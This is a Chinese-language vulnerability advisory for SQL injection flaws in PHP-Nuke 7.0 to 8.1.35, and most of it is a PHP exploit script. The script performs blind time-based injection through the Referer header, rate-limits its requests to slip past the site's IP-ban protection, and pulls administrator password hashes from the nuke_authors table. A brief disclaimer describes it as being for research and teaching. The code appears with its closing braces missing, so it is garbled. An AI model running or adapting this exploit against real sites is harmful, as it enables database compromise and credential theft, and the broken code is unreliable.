Nuke多个SQL注入漏洞

发布日期:2010-05-04
更新日期:2010-05-06

受影响系统:
PHP-Nuke PHP-Nuke 8.1.35
PHP-Nuke PHP-Nuke 8.1
PHP-Nuke PHP-Nuke 7.0
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 39922

PHP-Nuke是一个广为流行的网站创建和管理工具,可使用很多数据库软件作为后端,如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。

PHP-Nuke没有正确地过滤提交给/modules/Journal/savenew.php页面的mood变量,以及提交给/modules/Your_Account/admin/index.php页面的chng_user变量。远程攻击者可以通过提交恶意查询请求执行SQL注入攻击,完全入侵数据库系统。

<*来源:Michael Brooks
 
  链接:
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/php 

<?php 

set_time_limit(0); 

//The blind_sql_injeciton calss is a general exploit framework that we are inheriting. 

class php_nuke_blind_sql_injection extends blind_sql_injection { 

//This is the blind sql injection request. 

function query($check){ 

//Rate limiter to bypass ipban.php's protection. 

//Must stay below 5 requests every 2 seconds. 

if(!($this->request_count%4)){ 

sleep(2); 

//build the http request to Inject a query: 

//This is a simple get request with a custom referer 

//$this->set_referer("'="/\*"  (select ".$check." from nuke_authors limit 1))-- */"); 

$this->set_referer("'=(select ".$check." from nuke_authors limit 1))-- 1"); 

/*example get and post request. 

*$this->set_get("id=1 or (select ".$check." from nuke_authors limit 1))";//$_GET[id] 

*$this->set_post("id=1 or (select ".$check." from nuke_authors limit 1))");//$_POST[id] 

*/

//This is a very efficient blind sql injection class.  

class blind_sql_injection{ 

var $url, $backup_url, $result, $http, $request_count, $timeout; 

function blind_sql_injection($url,$timeout=10){ 

$this->request_count=0; 

$this->url=$url; 

$this->backup_url=$url; 

$this->http=new http_client(); 

$this->timeout=$timeout; 

function set_get($get){ 

$this->url=$this->url."?".$get; 

function set_referer($referer){ 

$this->http->referer=$referer; 

function set_post($post){ 

$this->http->postdata=$post; 

function test_target(){ 

return $this->send("if(true,sleep(".$this->timeout."),0)")&&!$this->send("if(false,sleep(".$this->timeout."),0)"); 

function num_to_hex($arr){ 

$ret=''; 

foreach($arr as $a){ 

if($a<=9){ 

$ret.=$a; 

}else{ 

$ret.=chr(87+$a); 

return $ret; 

//Looking for a string of length 32 and base 16 in ascii chars. 

function find_md5($column){ 

return $this->num_to_hex($this->bin_finder(16,32,"conv(substring($column,%s,1),16,10)")); 

function find_sha1($column){ 

return $this->num_to_hex($this->bin_finder(16,40,"conv(substring($column,%s,1),16,10)")); 

//Look for an ascii string of arbitrary length. 

function find_string($column){ 

$ret=''; 

//A length of zero means we are looking for a null byte terminated string. 

$result=$this->bin_finder(128,0,"ascii(substring($column,%s,1))"); 

foreach($result as $r){ 

$ret.=chr($r); 

return $ret; 

//query() is a method that generates the sql injection request 

function query($check){ 

//This function must be overridden. 

function recheck($result,$question,$base){ 

$this->bin_finder($base,1,$question,$start); 

//Force a long timeout. 

$tmp_timeout=$this->timeout; 

if($this->timeout<10){ 

$this->timeout=10; 

}else{ 

$this->timeout=$this->timeout*2; 

$l=1; 

foreach($result as $r){ 

if($this->send("if(".sprintf($question,$l)."!=".$r.",sleep(".$this->timeout."),0)")){ 

$result[]=$b; 

break; 

$l++; 

$this->timeout=$tmp_timeout; 

function linear_finder($base,$length,$question){ 

for($l=1;$l<=$length;$l++){ 

for($b=0;$b<$base;$b++){ 

if($this->send("if(".sprintf($question,$l)."=".$b.",sleep(".$this->timeout."),0)")){ 

$result[]=$b; 

break; 

#Binary search for mysql based sql injection. 

function bin_finder($base,$length,$question){ 

$start_pos=1; 

$result=''; 

for($cur=$start_pos;$cur<=$length||$length==0;$cur++){ 

$n=$base-1; 

$low=0; 

$floor=$low; 

$high=$n-1; 

$pos= $low+(($high-$low)/2); 

$found=false; 

while($low<=$high&&!$found){ 

#asking the sql database if the current value is greater than $pos

if($this->send("if(greatest(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){ 

#if this is true then the value must be the modulus. 

if($pos==$n-1){ 

$result[]=$pos+1; 

$found=true; 

}else{ 

$low=$pos+1; 

#asking the sql database if the current value is less than $pos

}else if($this->send("if(least(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){ 

#if this is true the value must be zero, or in the case of ascii,  a null byte. 

if($pos==$floor+1){ 

$found=true; 

#We have found the null terminator so we have finnished our search for a string. 

if($length==0){ 

$length=-1; 

}else{ 

$result[]=$pos-1; 

}else{ 

$high=$pos-1; 

}else{ 

#both greater than and less then where asked, so so then the answer is our guess $pos. 

$result[]=$pos; 

$found=true; 

$pos=$low+(($high-$low)/2); 

print("."); 

return $result; 

//Fire off the request 

function send($quesiton){ 

//build the injected query. 

$this->query($quesiton); 

$start=time(); 

$resp=$this->http->send($this->url); 

//backup_url is for set_get() 

$this->url=$this->backup_url; 

$this->request_count++; 

return (time()-$start>=$this->timeout); 

//retroGod RIP 

function charEncode($string){ 

$char="char("; 

$size=strlen($string); 

for($x=0;$x<$size;$x++){ 

$char.=ord($string[$x]).","; 

$char[strlen($char)-1]=")%00"; 

return $char; 

//General purpose http client that works on a default php install.  

class http_client{ 

var $proxy_ip='', $proxy_port='', $proxy_name='', $proxy_pass='', $referer='',$cookie='',$postdata=''; 

function send($loc){ 

//overload function polymorphism between gets and posts 

$url=parse_url($loc); 

if(!isset($url['port'])){ 

$url['port']=80; 

$ua='Firefox'; 

if($this->proxy_ip!=''&&$this->proxy_port!=''){ 

$fp = pfsockopen( $this->proxy_ip, $this->proxy_port, &$errno, &$errstr, 120 ); 

$url['path']=$url['host'].':'.$url['port'].$url['path']; 

}else{ 

$fp = fsockopen( $url['host'], $url['port'], &$errno, &$errstr, 120 ); 

if( !$fp ) { 

print "$errstr ($errno)<br>\nn"; 

return false; 

} else { 

if( $this->postdata=='' ) { 

$request="GET ".$url['path']."?".$url['query']." HTTP/1.1\r\n"; 

} else { 

$request="POST ".$url['path']."?".$url['query']." HTTP/1.1\r\n"; 

if($this->proxy_name!=''&&$this->proxy_pass!=''){ 

$request.="Proxy-Authorization: Basic ".base64_encode($this->proxy_name.":".$this->proxy_pass)."\r\n\r\n"; 

$request.="Host: ".$url['host'].":".$url['port']."\r\n"; 

$request.="User-Agent: ".$ua."\r\n"; 

$request.="Accept: text/plain\r\n"; 

if($this->referer!=''){ 

$request.="Referer: ".$this->referer."\r\n"; 

$request.="Connection: Close\r\n"; 

if($this->cookie!=''){ 

$request.="Cookie: ".$this->cookie."\r\n" ; 

if( $this->postdata!='' ) { 

$strlength = strlen( $this->postdata ); 

$request.="Content-type: application/x-www-form-urlencoded\r\n" ; 

$request.="Content-length: ".$strlength."\r\n\r\n"; 

$request.=$this->postdata; 

fputs( $fp, $request."\r\n\r\n" ); 

while( !feof( $fp ) ) { 

$output .= fgets( $fp, 1024 ); 

fclose( $fp ); 

//php_nuke only: 

if(strstr($output,"too many page loads")){ 

print "REQUEST CAP HIT!\n"; 

print_r(debug_backtrace()); 

print "REQUEST CAP HIT!\n"; 

die(); 

return $output; 

//Use a http proxy 

function proxy($proxy){ //user:pass@ip:port 

$proxyAuth=explode('@',$proxy); 

if(isset($proxyAuth[1])){ 

$login=explode(':',$proxyAuth[0]); 

$this->proxy_name=$login[0]; 

$this->proxy_pass=$login[1]; 

$addr=explode(':',$proxyAuth[1]); 

}else{ 

$addr=explode(':',$proxy); 

$this->proxy_ip=$addr[0]; 

$this->proxy_port=$addr[1]; 

//Parses the results from a PHP error to use as a path disclosure. 

function getPath($url,$pops=1){ 

$html=$this->send($url); 

//Regular error reporting: 

$resp=explode("array given in <b>",$html); 

if(isset($resp[1])){ 

$resp = explode("</b>",$resp[1]); 

}else{ 

//xdebug's error reporting: 

$resp=explode("array given in ",$html); 

if(isset($resp[1])){ 

$resp = explode(" ",$resp[1]); 

}else{ 

$resp[0]=false; 

$path=$resp[0]; 

//Can't use dirname() 

if(strstr($path,"\\")){ 

$p=explode("\\",$path); 

for($x=0;$x<$pops;$x++){ 

array_pop($p); 

$path=implode("\\",$p); 

}else{ 

$p=explode("/",$path); 

for($x=0;$x<$pops;$x++){ 

array_pop($p); 

$path=implode("/",$p); 

return $path; 

//Grab the server type from the http header. 

function getServer($url){ 

$resp=$this->send($url); 

$header=explode("Server: ",$resp); 

$server=explode("\n",$header[1]); 

return $server[0]; 

function main(){ 

$user_input=getopt("t:c:a:"); 

if($user_input['t']){ 

$attack_url=$user_input['t']; 

if($user_input['c']){ 

$user_cookie=$user_input['c']; 

//This is only useful for debugging,  so its not listed in the useage. 

if($user_input['a']){ 

$admin_cookie=$user_input['a']; 

}else{ 

print("Useage: ./php_exploit -t \n"); 

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wwpyds.html